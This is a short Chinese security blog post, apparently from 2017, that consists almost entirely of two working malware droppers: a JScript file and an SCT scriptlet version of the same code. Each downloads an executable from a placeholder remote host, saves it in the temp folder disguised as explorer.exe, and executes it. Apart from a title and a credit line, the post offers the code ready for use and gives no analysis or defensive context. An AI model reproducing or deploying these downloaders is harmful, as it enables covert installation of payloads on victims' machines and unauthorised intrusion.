JS下载者 发表于 2017-05-06 | 分类于 技术分享 复制1234567891011121314151617181920var WSHShell = new ActiveXObject("WScript.Shell");path = WSHShell.ExpandEnvironmentStrings("%temp%");var filepath = path+"/explorer.exe";var xhr = new ActiveXObject("MSXML2.XMLHTTP");xhr.open("GET","http://x.x.x.x/bd.exe", false);xhr.send();if (xhr.Status == 200) { var fso = new ActiveXObject("Scripting.FileSystemObject"); var stream = new ActiveXObject("ADODB.Stream"); stream.Open(); stream.Type = 1; stream.Write(xhr.ResponseBody); stream.Position = 0; if (fso.FileExists(filepath)){ fso.DeleteFile(filepath); } stream.SaveToFile(filepath); stream.Close(); new ActiveXObject("WScript.Shell").Exec(filepath);} SCT:复制12345678910111213141516171819202122232425262728293031323334<?XML version="1.0"?><scriptlet><registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}" > <!-- Learn from Casey Smith @subTee --> <script language="JScript"> <![CDATA[ var WSHShell = new ActiveXObject("WScript.Shell"); path = WSHShell.ExpandEnvironmentStrings("%temp%"); var filepath = path+"/explorer.exe"; var xhr = new ActiveXObject("MSXML2.XMLHTTP"); xhr.open("GET","http://x.x.x.x/bd.exe", false); xhr.send(); if (xhr.Status == 200) { var fso = new ActiveXObject("Scripting.FileSystemObject"); var stream = new ActiveXObject("ADODB.Stream"); stream.Open(); stream.Type = 1; stream.Write(xhr.ResponseBody); stream.Position = 0; if (fso.FileExists(filepath)){ fso.DeleteFile(filepath); } stream.SaveToFile(filepath); stream.Close(); new ActiveXObject("WScript.Shell").Exec(filepath); } ]]></script></registration></scriptlet> ------本文结束,感谢阅读------ 本文作者: Evi1cg 本文链接: https://evi1cg.github.io/archives/jsdownloader.html 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
Gitalking ...